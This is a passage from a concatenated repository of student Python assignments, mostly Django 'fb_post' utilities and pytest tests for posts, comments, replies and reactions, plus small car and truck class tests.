ReactionType.THUMBS_DOWN.value]
},
'replies_count': 0,
'replies': []
},
{'comment_id': 3,
'commenter': {'user_id': 2,
'name': 'user2',
'profile_pic': 'user2_pic'},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment1',
'reactions': {'count': 1,
'type': [ReactionType.ANGRY.value]},
'replies_count': 0,
'replies': []
},
{'comment_id': 4,
'commenter': {'user_id': 3,
'name': 'user3',
'profile_pic': 'user3_pic'},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment2',
'reactions': {'count': 1,
'type': [ReactionType.THUMBS_UP.value]},
'replies_count': 0,
'replies': []
}
],
'comments_count': 3
},
{'post_id': 2,
'posted_by': {'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'},
'posted_at': '2012-09-10 00:00:00.000000',
'post_content': 'post2',
'reactions': {'count': 1, 'type': [ReactionType.SAD.value]},
'comments': [
{'comment_id': 2,
'commenter': {'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment2',
'reactions': {'count': 1,
'type': [ReactionType.SAD.value]},
'replies_count': 0,
'replies': []
},
{'comment_id': 5,
'commenter': {'user_id': 3,
'name': 'user3',
'profile_pic': 'user3_pic'},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment3',
'reactions': {'count': 0, 'type': []},
'replies_count': 0,
'replies': []
}
],
'comments_count': 2}
]
# Act
list_of_user_posts = get_user_posts(user_id)
# Assert
assert user_posts_list_excpected == list_of_user_posts
def test_get_user_posts_when_user_does_not_posts_returns_empty_list(user):
# Arrange
user_id = 2
user_posts_list_excpected = []
# Act
list_of_user_posts = get_user_posts(user_id)
# Assert
assert user_posts_list_excpected == list_of_user_posts
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_react_to_post.py
from fb_post.models import Reaction
from .fb_post_exception_methods import (check_whether_user_id_exists,
check_whether_post_id_exists,
check_whether_reaction_type_exists)
# Task 05
def react_to_post(user_id, post_id, reaction_type):
check_whether_user_id_exists(user_id)
check_whether_post_id_exists(post_id)
check_whether_reaction_type_exists(reaction_type)
try:
reaction_object = Reaction.objects.get(reacted_by_id=user_id,
post_id=post_id)
except Reaction.DoesNotExist:
Reaction.objects.create(reacted_by_id=user_id,
post_id=post_id,
reaction=reaction_type)
return
post_reaction_is_same_as_reaction_type = (reaction_type ==
reaction_object.reaction)
if post_reaction_is_same_as_reaction_type:
undo_reaction(reaction_object)
else:
update_reaction(reaction_object, reaction_type)
def undo_reaction(reaction_object):
reaction_object.delete()
def update_reaction(reaction_object, reaction_type):
reaction_object.reaction = reaction_type
reaction_object.save()
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_exception_methods.py
from fb_post.models import User, Post, Comment
from fb_post.exceptions import (InvalidUserException,
InvalidPostException,
InvalidCommentException,
InvalidReactionTypeException,
InvalidCommentContent,
InvalidPostContent,
UserCannotDeletePostException,
InvalidReplyContent)
from fb_post.constants import ReactionType
def check_whether_user_id_exists(user_id):
user_is_invalid = not User.objects.filter(id=user_id)
if user_is_invalid:
raise InvalidUserException
def check_whether_post_id_exists(post_id):
post_is_invalid = not Post.objects.filter(id=post_id)
if post_is_invalid:
raise InvalidPostException
def check_whether_comment_id_exists(comment_id):
comment_is_invalid = not Comment.objects.filter(id=comment_id)
if comment_is_invalid:
raise InvalidCommentException
ReactionsList = [
ReactionType.WOW.value,
ReactionType.LIT.value,
ReactionType.LOVE.value,
ReactionType.HAHA.value,
ReactionType.THUMBS_UP.value,
ReactionType.THUMBS_DOWN.value,
ReactionType.ANGRY.value,
ReactionType.SAD.value
]
def check_whether_reaction_type_exists(reaction_type):
reaction_type_not_in_reactions_list = reaction_type not in ReactionsList
if reaction_type_not_in_reactions_list:
raise InvalidReactionTypeException
def check_whether_comment_content_exists(comment_content):
comment_content_is_invalid = not comment_content
if comment_content_is_invalid:
raise InvalidCommentContent
def check_whether_post_content_exists(post_content):
post_content_is_invalid = not post_content
if post_content_is_invalid:
raise InvalidPostContent
def return_post_if_post_id_exists(post_id):
check_whether_post_id_exists(post_id)
post = Post.objects.get(id=post_id)
return post
def check_whether_user_is_creator_of_post(posted_by, user_id):
user_is_not_creator_of_post = posted_by != user_id
if user_is_not_creator_of_post:
raise UserCannotDeletePostException
def check_whether_reply_ccontent_exists(reply_content):
reply_content_is_empty_or_none = not reply_content
if reply_content_is_empty_or_none:
raise InvalidReplyContent
def return_comment_if_comment_id_exists(comment_id):
check_whether_comment_id_exists(comment_id)
comment = Comment.objects.get(id=comment_id)
return comment
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_reply_to_comment.py
import datetime
import pytest
from freezegun import freeze_time
from fb_post.exceptions import InvalidUserException, InvalidCommentException
from fb_post.exceptions import InvalidReplyContent
from fb_post.models import Comment
from fb_post.utils import reply_to_comment
pytestmark = pytest.mark.django_db
def test_reply_to_comment_when_user_id_is_invalid_raises_invalid_user_exception(comment):
# Arrange
invalid_user_id = 100
comment_id = 1
reply_content = 'reply to comment1'
# Act
with pytest.raises(InvalidUserException):
assert reply_to_comment(invalid_user_id, comment_id, reply_content)
def test_reply_to_comment_when_comment_id_is_invalid_raises_invalid_comment_exception(reply):
# Arrange
user_id = 1
invalid_comment_id = 100
reply_content = 'reply to comment1'
# Act
with pytest.raises(InvalidCommentException):
assert reply_to_comment(user_id, invalid_comment_id, reply_content)
def test_reply_to_comment_when_reply_content_is_invalid_raises_invalid_reply_content_exception(reply):
# Arrange
user_id = 1
comment_id = Comment.objects.filter(content='comment1')[0].id
invalid_reply_content = ''
# Act
with pytest.raises(InvalidReplyContent):
assert reply_to_comment(user_id, comment_id, invalid_reply_content)
@freeze_time("2009-01-16")
def test_reply_to_comment_if_comment_id_corresponds_to_reply_create_comment_object_returns_created_comment_object_id(reply):
# Arrange
user_id = 1
comment_id = 7
parent_comment_id = 1
reply_content = 'reply to comment1'
commented_at = datetime.datetime.now()
# Act
new_comment_id = reply_to_comment(user_id, comment_id, reply_content)
# Assert
comment_object = Comment.objects.get(id=new_comment_id)
assert comment_object.commented_by_id == user_id
assert comment_object.content == reply_content
assert comment_object.parent_comment_id == parent_comment_id
assert comment_object.commented_at.replace(tzinfo=None) == commented_at
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_car_sound_horn.py
def test_car_object_sound_horn_when_engine_is_started_returns_beep_beep(capsys, car):
# Arrange
car.start_engine()
# Act
car.sound_horn()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Beep Beep\n'
def test_car_object_sound_horn_when_engine_is_stop_returns_start_the_engine_to_sound_horn(capsys, car):
# Act
car.sound_horn()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Start the engine to sound_horn\n'
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/.~c9_invoke_fgptkG.py
from django.test import TestCase
# Create your tests here.
from fb_post.utils import *
import pytest
from freezegun import freeze_time
import datetime
pytestmark = pytest.mark.django_db
@pytest.fixture
def user():
user_list = [{'name':'user1', 'profile_pic':'user1_pic'},
{'name':'user10', 'profile_pic':'user10_pic'},
{'name':'user3', 'profile_pic':'user3_pic'},
{'name':'user4', 'profile_pic':'user4_pic'},
{'name':'user5', 'profile_pic':'user5_pic'}
]
User.objects.bulk_create([User(name = user_dict['name'], profile_pic = user_dict['profile_pic']) for user_dict in user_list])
@pytest.fixture
def post(user):
post_list = [{'content':'post1','posted_by_id':1},
{'content':'post2','posted_by_id':1},
{'content':'post3','posted_by_id':2},
{'content':'post4','posted_by_id':3},
{'content':'post5','posted_by_id':4}
]
Post.objects.bulk_create([Post(content = post_dict['content'], posted_by_id = post_dict['posted_by_id']) for post_dict in post_list])
@pytest.fixture
def comment(user,post):
comment_list = [{'content':'comment1','post_id':1,'commented_by_id':1},
{'content':'comment2','post_id':2,'commented_by_id':1},
{'content':'comment1','post_id':1,'commented_by_id':2},
{'content':'comment2','post_id':1,'commented_by_id':3},
{'content':'comment3','post_id':2,'commented_by_id':3},
{'content':'comment4','post_id':3,'commented_by_id':4},
]
Comment.objects.bulk_create([Comment(content = comment_dict['content'], post_id = comment_dict['post_id'], commented_by_id = comment_dict['commented_by_id']) for comment_dict in comment_list])
@pytest.fixture
def reaction():
reaction_list = [{'post_id':1,'reaction':'WOW','reacted_by_id':2},
{'post_id':1,'reaction':'LIT','reacted_by_id':3},
{'post_id':2,'reaction':'SAD','reacted_by_id':4},
{'post_id':3,'reaction':'ANGRY','reacted_by_id':5}
]
Reaction.objects.bulk_create([Reaction(post_id = reaction_dict['post_id'], reacted_by_id = reaction_dict['reacted_by_id'], reaction = reaction_dict['reaction'] ) for reaction_dict in reaction_list])
" Task 02 "
def test_create_post_when_user_is_inavlid_raises_inavlid_user_exception(user):
# Arrange
invalid_user_id = 100
post_content = 'post1'
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert create_post(invalid_user_id, post_content)
def test_create_post_when_post_content_is_inavlid_raises_inavlid_post_content_exception(user):
# Arrange
valid_user_id = User.objects.get(name = 'user1').id
post_content = ''
# Act
with pytest.raises(InvalidPostContent) as e: # Asserting the exception
assert create_post(valid_user_id, post_content)
@freeze_time("2009-01-14")
def test_create_post_when_valid_user_id_and_post_content_are_given_returns_post_id(user):
# Arrange
user_id = User.objects.get(name = 'user1').id
# Act
post_id = create_post(user_id,'post1')
# Assert
post_object = Post.objects.get(id = post_id)
assert post_object.posted_by_id == user_id
assert post_object.content == 'post1'
assert post_object.posted_at.replace(tzinfo = None) == datetime.datetime.now()
" Task 03 "
def test_create_comment_when_user_id_is_inavlid_raises_inavlid_user_exception(user, post):
# Arrange
invalid_user_id = 100
post_id = Post.objects.get(content = 'post1').id
comment_content = 'comment1'
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert create_comment(invalid_user_id, post_id, comment_content)
def test_create_comment_when_post_id_is_inavlid_raises_inavlid_post_exception(user, post):
# Arrange
user_id = User.objects.get(name = 'user1').id
invalid_post_id = 100
comment_content = 'comment1'
# Act
with pytest.raises(InvalidPostException) as e: # Asserting the exception
assert create_comment(user_id, invalid_post_id, comment_content)
def test_create_comment_when_comment_content_is_inavlid_raises_inavlid_comment_content_exception(user, post):
# Arrange
user_id = User.objects.get(name = 'user1').id
post_id = Post.objects.get(content = 'post1').id
invalid_comment_content = ''
# Act
with pytest.raises(InvalidCommentContent) as e: # Asserting the exception
assert create_comment(user_id, post_id, invalid_comment_content)
@freeze_time("100110-01-14")
def test_create_comment_when_valid_user_id_and_comment_content_are_given_returns_created_comment_id(user, post):
# Arrange
user_id = User.objects.get(name = 'user1').id
post_id = Post.objects.get(content = 'post1').id
comment_content = 'comment1'
# Act
create_comment(user_id, post_id, comment_content)
# Assert
comment_object = Comment.objects.get(commented_by_id = user_id)
assert comment_object.commented_by_id == user_id
assert comment_object.post_id == post_id
assert comment_object.content == 'comment1'
assert comment_object.commented_at.replace(tzinfo = None) == datetime.datetime.now()
" Task 04 "
def test_reply_to_comment_when_user_id_is_inavlid_raises_inavlid_user_exception(user,post,comment):
# Arrange
invalid_user_id = 100
comment_id = Comment.objects.filter(content = 'comment1')[0].id
reply_content = 'reply to comment1'
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert reply_to_comment(invalid_user_id, comment_id, reply_content)
def test_reply_to_comment_when_comment_id_is_inavlid_raises_inavlid_comment_exception(user,post,comment):
# Arrange
user_id = User.objects.get(name = 'user1').id
invalid_comment_id = 100
reply_content = 'reply to comment1'
# Act
with pytest.raises(InvalidCommentException) as e: # Asserting the exception
assert reply_to_comment(user_id, invalid_comment_id, reply_content)
def test_reply_to_comment_when_reply_content_is_inavlid_raises_inavlid_reply_content_exception(user,post,comment):
# Arrange
user_id = User.objects.get(name = 'user1').id
comment_id = Comment.objects.filter(content = 'comment1')[0].id
invalid_reply_content = ''
# Act
with pytest.raises(InvalidReplyContent) as e: # Asserting the exception
assert reply_to_comment(user_id, comment_id, invalid_reply_content)
@freeze_time("2009-01-16")
def test_reply_to_comment_if_comment_id_corresponds_to_reply_create_post_object_returns_created_comment_id(user,post,comment):
# Arrange
user_id = User.objects.get(name = 'user1').id
comment_id = Comment.objects.filter(content = 'comment1')[1].id
reply_content = 'reply to comment1'
# Act
new_comment_id = reply_to_comment(user_id, comment_id, reply_content)
# Assert
comment_object = Comment.objects.get(id = new_comment_id)
assert comment_object.commented_by_id == user_id
assert comment_object.content == 'reply to comment1'
assert comment_object.parent_comment_id == comment_id
assert comment_object.commented_at.replace(tzinfo = None) == datetime.datetime.now()
" Task 05 "
def test_react_to_post_when_user_id_is_inavlid_raises_inavlid_user_exception(user,post,reaction):
# Arrange
invalid_user_id = 100
post_id = 3
reaction_type = 'HAHA'
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert react_to_post(invalid_user_id, post_id, reaction_type)
def test_react_to_post_when_post_id_is_inavlid_raises_inavlid_post_exception(user,post,reaction):
# Arrange
user_id = 1
invalid_post_id = 100
reaction_type = 'HAHA'
# Act
with pytest.raises(InvalidPostException) as e: # Asserting the exception
assert react_to_post(user_id, invalid_post_id, reaction_type)
def test_react_to_post_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception(user,post,reaction):
# Arrange
user_id = 1
post_id = 4
invalid_reaction_type = 'reaction1'
# Act
with pytest.raises(InvalidReactionTypeException) as e: # Asserting the exception
assert react_to_post(user_id, post_id, invalid_reaction_type)
def test_react_to_post_create_reaction_if_user_is_reacting_to_post_for_first_time_with_valid_details_creates_reaction_object(user,post,reaction):
# Arrange
user_id = 1
post_id = 3
reaction_type = 'HAHA'
# Act
react_to_post(user_id, post_id, reaction_type)
# Asset
assert Reaction.objects.filter(post_id = post_id).exists()
assert Reaction.objects.filter(post_id = post_id, reacted_by_id = user_id).exists()
assert Reaction.objects.filter(reaction = reaction_type).exists()
def test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user(user,post,reaction):
# Arrange
user_id = 2
post_id = 1
reaction_type = 'WOW'
# Act
react_to_post(user_id, post_id, reaction_type)
# Asset
reaction_object = Reaction.objects.filter(post_id = post_id, reacted_by_id = user_id, reaction = reaction_type)
assert reaction_object.exists() is False
def test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time(user,post,reaction):
# Arrange
user_id = 2
post_id = 1
old_reaction_type = 'WOW'
reaction_type = 'LIT'
old_reaction_object = Reaction.objects.create(post_id = post_id,reacted_by_id = user_id, reaction = old_reaction_type)
# Act
react_to_post(user_id, post_id, reaction_type)
# Asset
new_reaction_object = Reaction.objects.create(post_id = post_id,reacted_by_id = user_id, reaction = reaction_type)
assert old_reaction_object.post_id == new_reaction_object.post_id
assert old_reaction_object.reacted_by_id == new_reaction_object.reacted_by_id
assert not(old_reaction_object.reaction == new_reaction_object.reaction)
assert new_reaction_object.reaction == 'LIT'
" Task 06 "
def test_react_to_comment_when_user_id_is_inavlid_raises_inavlid_user_exception(user,post,reaction):
# Arrange
invalid_user_id = 100
comment_id = 3
reaction_type = 'HAHA'
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert react_to_comment(invalid_user_id, comment_id, reaction_type)
def test_react_to_comment_when_comment_id_is_inavlid_raises_inavlid_comment_exception(user,post,reaction):
# Arrange
user_id = 1
invalid_comment_id = 100
reaction_type = 'HAHA'
# Act
with pytest.raises(InvalidCommentException) as e: # Asserting the exception
assert react_to_comment(user_id, invalid_comment_id, reaction_type)
def test_react_to_comment_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception(user,post,reaction):
# Arrange
user_id = 1
comment_id = 5
invalid_reaction_type = 'reaction1'
# Act
with pytest.raises(InvalidReactionTypeException) as e: # Asserting the exception
assert react_to_comment(user_id, comment_id, invalid_reaction_type)
"""
def test_react_to_comment_create_reaction_if_user_is_reacting_to_post_for_first_time_with_valid_details_creates_reaction_object(user,post,reaction):
# Arrange
user_id = 1
comment_id = 5
reaction_type = 'HAHA'
# Act
react_to_comment(user_id, comment_id, reaction_type)
# Asset
assert Reaction.objects.filter(comment_id = comment_id).exists()
assert Reaction.objects.filter(comment_id = comment_id, reacted_by_id = user_id).exists()
assert Reaction.objects.filter(reaction = reaction_type).exists()
def test_react_to_comment_when_user_already_reacted_to_post_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user(user,post,reaction):
# Arrange
user_id = 1
comment_id = 5
reaction_type = 'HAHA'
# Act
react_to_comment(user_id, comment_id, reaction_type)
# Asset
reaction_object = Reaction.objects.filter(comment_id = comment_id, reacted_by_id = user_id, reaction = reaction_type)
assert reaction_object.exists() is False
def test_react_to_comment_when_user_already_reacted_to_post_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time(user,post,reaction):
# Arrange
user_id = 1
comment_id = 5
old_reaction_type = 'HAHA'
reaction_type = 'LIT'
old_reaction_object = Reaction.objects.create(comment_id = comment_id,reacted_by_id = user_id, reaction = old_reaction_type)
# Act
react_to_comment(user_id, comment_id, reaction_type)
# Asset
new_reaction_object = Reaction.objects.create(comment_id = comment_id,reacted_by_id = user_id, reaction = reaction_type)
assert old_reaction_object.comment_id == new_reaction_object.comment_id
assert old_reaction_object.reacted_by_id == new_reaction_object.reacted_by_id
assert not(old_reaction_object.reaction == new_reaction_object.reaction)
assert new_reaction_object.reaction == 'LIT'
"""
"""
"""
"""""
# task 1
test_user_construction_object_when_invalid_raises_exception
test_post_construction_object_when_invalid_raises_exception
test_comment_construction_object_when_invalid_raises_exception
test_reaction_construction_object_when_invalid_raises_exception
# task 10
test_create_post_when_user_is_inavlid_raises_inavlid_user_exception
test_create_post_when_post_content_is_inavlid_raises_inavlid_post_content_exception
test_create_post_when_valid_user_id_and_post_content_are_given_returns_post_id
# task 3
test_create_comment_when_user_id_is_inavlid_raises_inavlid_user_exception
test_create_comment_when_post_id_is_inavlid_raises_inavlid_post_exception
test_create_comment_when_comment_content_is_inavlid_raises_inavlid_comment_content_exception
test_create_comment_when_valid_user_id_and_comment_content_are_given_returns_created_comment_id
# task 4
test_reply_to_comment_when_user_id_is_inavlid_raises_inavlid_user_exception
test_reply_to_comment_when_comment_id_is_inavlid_raises_inavlid_comment_exception
test_reply_to_comment_when_reply_content_is_inavlid_raises_inavlid_reply_content_exception
test_reply_to_comment_if_comment_id_corresponds_to_reply_create_post_object_returns_created_comment_id
# task 5
test_react_to_post_when_user_id_is_inavlid_raises_inavlid_user_exception
test_react_to_post_when_post_id_is_inavlid_raises_inavlid_post_exception
test_react_to_post_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception
test_react_to_post_create_reaction_if_user_is_reacting_to_post_for_first_time_with_valid_details_creates_reaction_object
test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user
test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time
# task 6
test_react_to_comment_when_user_id_is_inavlid_raises_inavlid_user_exception
test_react_to_comment_when_comment_id_is_inavlid_raises_inavlid_comment_exception
test_react_to_comment_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception
test_react_to_comment_create_reaction_if_user_is_reacting_to_comment_for_first_time_with_valid_details_creates_reaction_object
test_react_to_comment_when_user_already_reacted_to_comment_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user
test_react_to_comment_when_user_already_reacted_to_comment_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time
# task 7
test_get_total_reaction_count_if_user_reactions_are_available_returns_total_reactions_count_in_dictionary
test_get_total_reaction_count_if_user_reactions_are_unavailable_returns_total_reactions_count_with_zero_value_in_dictionary
# task 8
test_get_reaction_metrics_when_post_id_is_inavlid_raises_inavlid_post_exception
test_get_reaction_metrics_if_post_has_reactions_returns_total_number_of_reactions_for_each_reaction_type_in_dictionary
test_get_reaction_metrics_if_post_has_no_reactions_returns_empty_dictionary
# task 9
test_delete_post_when_user_id_is_inavlid_raises_inavlid_user_exception
test_delete_post_when_post_id_is_inavlid_raises_inavlid_post_exception
test_delete_post_when_user_is_not_the_creator_of_post_raises_user_cannot_delete_post_exception
test_delete_post_when_user_is_the_creator_of_post_delete_the_post_object
# task 10
test_get_posts_with_more_positive_reactions_if_positive_reactions_of_post_greater_than_negative_reactions_of_post_returns_post_ids_of_posts_in_list
test_get_posts_with_more_positive_reactions_if_positive_reactions_of_post_not_greater_than_negative_reactions_of_post_returns_empty_list
# task 11
test_get_posts_reacted_by_user_when_user_id_is_inavlid_raises_inavlid_user_exception
test_get_posts_reacted_by_user_when_user_reacts_to_posts_returns_post_ids_of_user_reacted_posts_in_list
test_get_posts_reacted_by_user_when_user_does_not_react_to_any_posts_returns_empty_list
# task 110
test_get_reactions_to_post_when_post_id_is_inavlid_raises_inavlid_post_exception
test_get_reactions_to_post_if_post_has_reactions_returns_list_of_dictionaries_of_user_details_of_post
test_get_reactions_to_post_if_post_has_no_reactions_returns_empty_list
"""""<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_race_car_object_creatiion.py
from race_car import RaceCar
########### Testing wether One object is creating ###########
def test_race_car_creating_one_race_car_object_with_given_instances_creates_race_car_object():
# Arrange
color = 'Black'
max_speed = 200
acceleration = 30
tyre_friction = 7
car_obj = RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
# Act
result = isinstance(car_obj, RaceCar)
# Assert
assert result is True
########### Testing wether Multiple objects are creating ###########
def test_race_car_creating_multiple_race_car_objects_with_given_instances_creates_race_car_objects():
# Arrange
race_car_obj1 = RaceCar(color='Red', max_speed=250, acceleration=50,
tyre_friction=10)
race_car_obj2 = RaceCar(color='Black', max_speed=200, acceleration=40,
tyre_friction=7)
# Act
creation_of_race_car_object1 = isinstance(race_car_obj1, RaceCar)
creation_of_race_car_object2 = isinstance(race_car_obj2, RaceCar)
result = race_car_obj1 == race_car_obj2
# Assert
assert creation_of_race_car_object1 is True
assert creation_of_race_car_object2 is True
assert result is False
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_get_reaction_metrics.py
from django.db.models import Count
from fb_post.models import Post, Reaction
from .fb_post_exception_methods import check_whether_post_id_exists
def get_reaction_metrics(post_id):
check_whether_post_id_exists(post_id)
reaction_metrics_in_dict = dict(Reaction.objects
.filter(post=Post(post_id))
.values_list('reaction')
.annotate(Count('id')))
return reaction_metrics_in_dict
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_truck_sound_horn.py
def test_truck_object_sound_horn_when_engine_is_started_returns_honk_honk(capsys, truck):
# Arrange
truck.start_engine()
# Act
truck.sound_horn()
captured = capsys.readouterr()
# Asset
assert captured.out == 'Honk Honk\n'
def test_truck_object_sound_horn_when_engine_is_stop_returns_start_the_engine_to_sound_hor(capsys, truck):
# Act
truck.sound_horn()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Start the engine to sound_horn\n'
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_react_to_post.py
import pytest
from fb_post.exceptions import InvalidUserException, InvalidPostException
from fb_post.exceptions import InvalidReactionTypeException
from fb_post.constants import ReactionType
from fb_post.models import Reaction
from fb_post.utils import react_to_post
pytestmark = pytest.mark.django_db
pytestmark = pytest.mark.django_db
def test_react_to_post_when_user_id_is_invalid_raises_invalid_user_exception(reaction):
# Arrange
invalid_user_id = 100
post_id = 3
reaction_type = ReactionType.HAHA.value
# Act
with pytest.raises(InvalidUserException):
assert react_to_post(invalid_user_id, post_id, reaction_type)
def test_react_to_post_when_post_id_is_invalid_raises_invalid_post_exception(reaction):
# Arrange
user_id = 1
invalid_post_id = 100
reaction_type = ReactionType.HAHA.value
# Act
with pytest.raises(InvalidPostException):
assert react_to_post(user_id, invalid_post_id, reaction_type)
def test_react_to_post_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception(reaction):
# Arrange
user_id = 1
post_id = 4
invalid_reaction_type = 'reaction1'
# Act
with pytest.raises(InvalidReactionTypeException):
assert react_to_post(user_id, post_id, invalid_reaction_type)
def test_react_to_post_create_reaction_if_user_is_reacting_to_post_for_first_time_with_valid_details_creates_reaction_object(reaction):
# Arrange
user_id = 1
post_id = 3
reaction_type = ReactionType.HAHA.value
# Act
react_to_post(user_id, post_id, reaction_type)
# Asset
assert Reaction.objects.filter(post_id=post_id).exists()
assert Reaction.objects.filter(post_id=post_id,
reacted_by_id=user_id).exists()
assert Reaction.objects.filter(reaction=reaction_type).exists()
def test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user(reaction):
# Arrange
user_id = 2
post_id = 1
reaction_type = ReactionType.WOW.value
# Act
react_to_post(user_id, post_id, reaction_type)
# Asset
with pytest.raises(Reaction.DoesNotExist):
assert Reaction.objects.get(post_id=post_id, reacted_by_id=user_id,
reaction=reaction_type)
def test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time(reaction):
# Arrange
user_id = 2
post_id = 1
old_reaction_type = ReactionType.WOW.value
reaction_type = ReactionType.LIT.value
# Act
react_to_post(user_id, post_id, reaction_type)
# Asset
new_reaction_object = Reaction.objects.get(post_id=post_id,
reacted_by_id=user_id,
reaction=reaction_type)
assert post_id == new_reaction_object.post_id
assert user_id == new_reaction_object.reacted_by_id
assert not old_reaction_type == new_reaction_object.reaction
assert new_reaction_object.reaction == reaction_type
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_get_post_without_comments.py
import pytest
from fb_post.exceptions import InvalidPostException
from fb_post.constants import ReactionType
from fb_post.utils import get_post
pytestmark = pytest.mark.django_db
def test_get_post_when_post_id_is_invalid_raises_invalid_post_exception(reaction, reply, reaction_to_comments):
# Arrange
invalid_post_id = 100
# Act
with pytest.raises(InvalidPostException):
assert get_post(invalid_post_id)
def test_get_post_when_post_having_comments_reaction_to_comments_and_post_reactions_returns_post_details_and_posts_commentes_and_reactions_returns_dictionary(reaction, reply, reaction_to_comments):
# Arrange
post_id = 1
post_dict = {
'post_id': 1,
'posted_by': {
'name': 'user1',
'user_id': 1,
'profile_pic': 'user1_pic'},
'posted_at': "2012-09-10 00:00:00.000000",
'post_content': 'post1',
'reactions': {
'count': 2,
'type': [ReactionType.WOW.value, ReactionType.LIT.value]},
'comments': [
{'comment_id': 1,
'commenter': {
'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'},
'commented_at': "2012-09-10 00:00:00.000000",
'comment_content': 'comment1',
'reactions': {
'count': 3,
'type': [ReactionType.LIT.value,
ReactionType.THUMBS_DOWN.value]
},
'replies_count': 1,
'replies': [
{'comment_id': 7,
'commenter':{
'user_id': 2,
'name': 'user2',
'profile_pic': 'user2_pic'
},
'commented_at': "2012-09-10 00:00:00.000000",
'comment_content': 'reply_to_comment1 by 2',
'reactions': {
'count': 0,
'type': []
}
}
]
},
{'comment_id': 3,
'commenter': {
'user_id': 2,
'name': 'user2',
'profile_pic': 'user2_pic'
},
'commented_at': "2012-09-10 00:00:00.000000",
'comment_content': 'comment1',
'reactions': {
'count': 1,
'type': [ReactionType.ANGRY.value]
},
'replies_count': 0,
'replies': []
},
{'comment_id': 4,
'commenter': {
'user_id': 3,
'name': 'user3',
'profile_pic': 'user3_pic'
},
'commented_at': "2012-09-10 00:00:00.000000",
'comment_content': 'comment2',
'reactions': {
'count': 1,
'type': [ReactionType.THUMBS_UP.value]
},
'replies_count': 1,
'replies': [
{'comment_id': 10,
'commenter': {
'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'
},
'commented_at': "2012-09-10 00:00:00.000000",
'comment_content': 'reply_to_comment4 by 1',
'reactions': {
'count': 0,
'type': []
}
}
]
}
],
'comments_count': 3
}
# Act
dict_of_post_details = get_post(post_id)
# Assert
assert post_dict == dict_of_post_details
def test_get_post_when_post_having_no_comments_and_reactions_returns_post_details_and_post_user_details_returns_dictionary(post):
# Arrange
post_id = 1
post_dict = {
'post_id': 1,
'posted_by': {
'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'
},
'posted_at': '2012-09-10 00:00:00.000000',
'post_content': 'post1',
'reactions': {'count': 0, 'type': []},
'comments': [],
'comments_count': 0,
}
# Act
dict_of_post_details = get_post(post_id)
# Assert
assert post_dict == dict_of_post_details
def test_get_post_when_there_are_no_commentes_for_posts_returns_empty_list_with_post_details_in_dictionary(reaction):
# Arrange
post_id = 1
post_dict = {
'post_id': 1,
'posted_by': {
'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'
},
'posted_at': '2012-09-10 00:00:00.000000',
'post_content': 'post1',
'reactions': {'count': 2, 'type': [ReactionType.WOW.value,
ReactionType.LIT.value]},
'comments': [],
'comments_count': 0,
}
# Act
dict_of_post_details = get_post(post_id)
# Assert
assert post_dict == dict_of_post_details
def test_get_post_when_there_are_no_reactions_for_posts_returns_dictionary_with_count_value_zero_and_type_with_empty_list_and_post_details_in_dictionary(comment):
# Arrange
post_id = 1
post_dict = {
'post_id': 1,
'posted_by': {
'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'
},
'posted_at': '2012-09-10 00:00:00.000000',
'post_content': 'post1',
'reactions': {'count': 0,
'type': []},
'comments':[ {
'comment_id': 1,
